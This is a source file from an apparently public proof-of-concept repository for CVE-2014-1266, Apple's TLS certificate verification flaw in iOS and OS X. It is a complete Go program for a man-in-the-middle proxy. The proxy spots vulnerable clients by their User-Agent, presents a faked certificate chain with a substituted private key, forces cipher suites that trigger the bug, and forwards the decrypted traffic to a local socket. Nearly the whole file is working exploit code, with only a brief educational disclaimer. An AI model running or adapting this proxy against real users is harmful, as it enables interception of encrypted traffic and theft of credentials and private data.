forked from gabrielg/CVE-2014-1266-poc
/
main.go
251 lines (203 loc) · 6.27 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
// This is some example code to demonstrate the SSL verification flaw in iOS
// and Mac OS X, documented at:
//
// http://support.apple.com/kb/HT6147
// https://www.imperialviolet.org/2014/02/22/applebug.html
//
// It implements a (flaky) HTTP & HTTPS proxy that will hijack requests from
// known vulnerable clients, and instead redirect the request to whatever
// happens to be listening on the supplied UNIX domain socket.
//
// This is a worthless plea on the internet, but please at least make a cursory
// attempt at refraining from being a shitbird with this code. It's for
// educational purposes, not for stealing mom's credit card number.
//
// This is free and unencumbered software released into the public domain.
//
// Gabriel Gironda, 2014
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"flag"
"io"
"log"
"net"
"net/http"
"net/http/httputil"
"os"
"path/filepath"
"regexp"
"strconv"
"strings"
)
const (
RSAKeyLength = 2048
)
var (
AffectedIOSVersionMatch = regexp.MustCompile(`[67]_0_[0-5] like Mac OS X`)
AffectedOSXVersionMatch = regexp.MustCompile(`Mac OS X 10_9`)
VulnerableCipherSuites = []uint16{
tls.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA,
tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA,
tls.TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA,
tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA,
tls.TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA,
tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,
}
)
type InterceptingProxyHandler struct {
SocketPath string
ListenHost string
ListenPort int
privateKey *rsa.PrivateKey
}
func main() {
listenPort := flag.Int("port", 8080, "listen port")
listenHost := flag.String("host", "", "listen host")
socketPath := flag.String("socket", "", "socket path")
flag.Parse()
if *socketPath == "" {
tempPath := filepath.Join(os.TempDir(), "apple-ssl.sock")
socketPath = &tempPath
}
proxy := &InterceptingProxyHandler{
ListenHost: *listenHost,
ListenPort: *listenPort,
SocketPath: *socketPath,
}
err := proxy.Listen()
if err != nil {
log.Fatal("ListenAndServe: ", err)
os.Exit(1)
}
}
// Listen for incoming proxy connections.
func (p *InterceptingProxyHandler) Listen() error {
listenAddr := net.JoinHostPort(p.ListenHost, strconv.Itoa(p.ListenPort))
rsaKey, err := rsa.GenerateKey(rand.Reader, RSAKeyLength)
if err != nil {
return err
}
p.privateKey = rsaKey
log.Println("intercept socket at", p.SocketPath)
log.Println("listening on", listenAddr)
return http.ListenAndServe(listenAddr, p)
}
func (p *InterceptingProxyHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
log.Println("received request:", r)
switch r.Method {
case "CONNECT":
p.proxyConnectRequest(w, r)
default:
p.proxyPlaintextRequest(w, r)
}
}
func (p *InterceptingProxyHandler) proxyConnectRequest(w http.ResponseWriter, r *http.Request) {
if p.canInterceptRequest(r) {
p.interceptRequest(w, r)
} else {
p.doConnectRequest(w, r)
}
}
// Proxies a plaintext request, returning the response to the client.
func (p *InterceptingProxyHandler) proxyPlaintextRequest(w http.ResponseWriter, r *http.Request) {
requestHost := r.URL.Host
if !strings.ContainsAny(requestHost, ":") {
requestHost = requestHost + ":80"
}
conn, err := net.Dial("tcp", requestHost)
if err != nil {
log.Println("bad request (dial):", err)
http.Error(w, "Bad proxy request", http.StatusInternalServerError)
return
}
clientConn := httputil.NewClientConn(conn, nil)
response, err := clientConn.Do(r)
if err != nil && err != httputil.ErrPersistEOF {
log.Println("bad request:", err)
http.Error(w, "Bad proxy request", http.StatusInternalServerError)
return
}
for k, v := range response.Header {
w.Header()[k] = v
}
io.Copy(w, response.Body)
}
// Indicates whether or not the client's connection can be hijacked, based on
// the given user agent.
func (p *InterceptingProxyHandler) canInterceptRequest(r *http.Request) bool {
ua := r.Header.Get("User-Agent")
if !strings.Contains(ua, "AppleWebKit") {
return false
}
return AffectedIOSVersionMatch.MatchString(ua) || AffectedOSXVersionMatch.MatchString(ua)
}
// Proxies a raw connection to a remote server.
func (p *InterceptingProxyHandler) doConnectRequest(w http.ResponseWriter, r *http.Request) {
log.Println("performing regular CONNECT request")
w.WriteHeader(http.StatusOK)
hijackedConnection, _, err := w.(http.Hijacker).Hijack()
if err != nil {
log.Println("error hijacking conncetion", err)
return
}
remoteConnection, err := net.Dial("tcp", r.URL.Host)
if err != nil {
log.Println("error dialing remote", err)
return
}
go io.Copy(hijackedConnection, remoteConnection)
go io.Copy(remoteConnection, hijackedConnection)
}
// Intercepts an SSL connection to a remote server. The request will instead be
// redirected to the socket configured at p.SocketPath.
//
// SSL Added and removed here! :-)
func (p *InterceptingProxyHandler) interceptRequest(w http.ResponseWriter, r *http.Request) {
log.Println("hijacking TLS connection")
tlsConn, err := tls.Dial("tcp", r.URL.Host, nil)
defer tlsConn.Close()
if err != nil {
log.Println("error dialing TLS, falling back:", err)
p.doConnectRequest(w, r)
return
}
cs := tlsConn.ConnectionState()
peerCerts := cs.PeerCertificates
fakedCert := tls.Certificate{}
fakedCert.PrivateKey = p.privateKey
for _, peerCert := range peerCerts {
fakedCert.Certificate = append(fakedCert.Certificate, peerCert.Raw)
}
host, _, _ := net.SplitHostPort(r.URL.Host)
config := &tls.Config{
Certificates: []tls.Certificate{fakedCert},
ServerName: host,
PreferServerCipherSuites: true,
CipherSuites: VulnerableCipherSuites,
MaxVersion: tls.VersionTLS11,
}
w.WriteHeader(http.StatusOK)
hijackedConnection, _, err := w.(http.Hijacker).Hijack()
if err != nil {
log.Println("error hijacking connection", err)
return
}
serverConn := tls.Server(hijackedConnection, config)
if err := serverConn.Handshake(); err != nil {
log.Println("error during handshake:", err)
return
}
interceptorConn, err := net.Dial("unix", p.SocketPath)
if err != nil {
log.Println("error dialing socket:", err)
return
}
go io.Copy(serverConn, interceptorConn)
go io.Copy(interceptorConn, serverConn)
}